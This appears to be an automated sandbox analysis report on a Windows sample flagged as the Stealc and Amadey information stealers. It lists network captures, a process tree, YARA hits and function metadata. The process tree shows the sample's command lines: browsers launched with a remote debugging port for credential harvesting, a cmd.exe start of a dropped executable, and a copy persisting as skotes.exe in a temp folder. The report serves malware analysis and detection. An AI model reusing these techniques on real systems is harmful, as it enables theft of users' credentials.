2024-11-24 22:25:02 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:25:02 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:25:03 UTC	522	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:25:03 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: def4d052-b01e-0053-1eaf-3ecdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222503Z-178bfbc474bh5zbqhC1NYCkdug00000006eg00000000h1yd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-24 22:25:03 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:25:03 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:25:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:25:03 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: dc5ae1d1-201e-0096-3d45-3dace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222503Z-15b8b599d88cn5thhC1TEBqxkn00000004u000000000qu77 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:25:03 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:25:03 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:25:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:25:03 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2879cce-801e-0047-5869-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222503Z-178bfbc474bw8bwphC1NYC38b400000006gg000000001gtp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:25:03 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.5	49932	40.126.53.11	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:25:03 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-24 22:25:03 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-24 22:25:04 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 24 Nov 2024 22:24:03 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C521_SN1 x-ms-request-id: cce2c43a-c81c-4030-84f7-246c5a2fc0c2 PPServer: PPV: 30 H: SN1PEPF0002F172 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 24 Nov 2024 22:25:04 GMT Connection: close Content-Length: 11409
2024-11-24 22:25:04 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Target ID:	0
Start time:	17:23:58
Start date:	24/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x7c0000
File size:	1'789'952 bytes
MD5 hash:	6467F0B3F7C25EDC1259D28371015177
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2572476247.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2055271175.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2570783490.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:24:10
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:24:12
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=1996,i,7598340641640299778,11731327301432506273,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:24:21
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:24:21
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2132,i,11324850078765124720,12567170462925455737,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:24:21
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6068e0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	17:24:22
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2228 --field-trial-handle=1976,i,9557250745815057177,7435731605409669520,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	17:24:26
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6628 --field-trial-handle=1976,i,9557250745815057177,7435731605409669520,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	17:24:26
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6848 --field-trial-handle=1976,i,9557250745815057177,7435731605409669520,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	17:24:51
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCBFBKFIDHI.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	17:24:51
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	17:24:51
Start date:	24/11/2024
Path:	C:\Users\user\DocumentsCBFBKFIDHI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsCBFBKFIDHI.exe"
Imagebase:	0x970000
File size:	1'881'088 bytes
MD5 hash:	ADD4BF165F7138D46D9FB140A1237B9B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000003.2562219017.0000000005210000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.2650396881.0000000000971000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	17:24:55
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x500000
File size:	1'881'088 bytes
MD5 hash:	ADD4BF165F7138D46D9FB140A1237B9B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000003.2605857590.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2646312422.0000000000501000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	17:24:58
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x500000
File size:	1'881'088 bytes
MD5 hash:	ADD4BF165F7138D46D9FB140A1237B9B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.2630932532.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2671335593.0000000000501000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	17:25:22
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=4804 --field-trial-handle=1976,i,9557250745815057177,7435731605409669520,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	17:26:00
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x500000
File size:	1'881'088 bytes
MD5 hash:	ADD4BF165F7138D46D9FB140A1237B9B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000003.3247584079.0000000004920000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.3280697655.0000000000501000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C4F35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C57F688,00001000), ref: 6C4F35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4F35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C4F35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4F363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4F369F
__aulldiv.LIBCMT ref: 6C4F36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C4F3773
EnterCriticalSection.KERNEL32(6C57F688), ref: 6C4F377E
LeaveCriticalSection.KERNEL32(6C57F688), ref: 6C4F37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C4F37C4
EnterCriticalSection.KERNEL32(6C57F688), ref: 6C4F37CB
LeaveCriticalSection.KERNEL32(6C57F688), ref: 6C4F3801
__aulldiv.LIBCMT ref: 6C4F3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C4F3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C4F3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C4F394C

Strings

QPC, xrefs: 6C4F38FC
GenuntelineI, xrefs: 6C4F3639
MOZ_TIMESTAMP_MODE, xrefs: 6C4F35DB
GTC, xrefs: 6C4F3912
AuthcAMDenti, xrefs: 6C4F3946

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 2fa4df4084da96e9a6984f9c1ccee303c990c6be56498b064f982348f40852ed
Instruction ID: cc58d572aa0b75e382365db5f8547474df6fb56f271f7f2a39d5ce3258f7d9bb
Opcode Fuzzy Hash: 2fa4df4084da96e9a6984f9c1ccee303c990c6be56498b064f982348f40852ed
Instruction Fuzzy Hash: B7B1A371B083209FDB0ADF28CC44B5A77F5BBC9704F168A2DE899D7750D77098818BA6

Function 6C50C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C50C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C50C969
GetSystemInfo.KERNEL32(?), ref: 6C50C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C50C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C50C9E2

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: f7e6f0a960c8a4cfc2f2cd9249a484885a7e3c883f1849b7bd98a76001b3d2ff
Instruction ID: 685d92f947374ae282a2f12f6b446bbf6078787ec3792eb34a71ebbabd07f86b
Opcode Fuzzy Hash: f7e6f0a960c8a4cfc2f2cd9249a484885a7e3c883f1849b7bd98a76001b3d2ff
Instruction Fuzzy Hash: F121DA31741628ABDB05AE24CC84BAE73B9AB47704F510A19F903E7B80EB707C4087B5

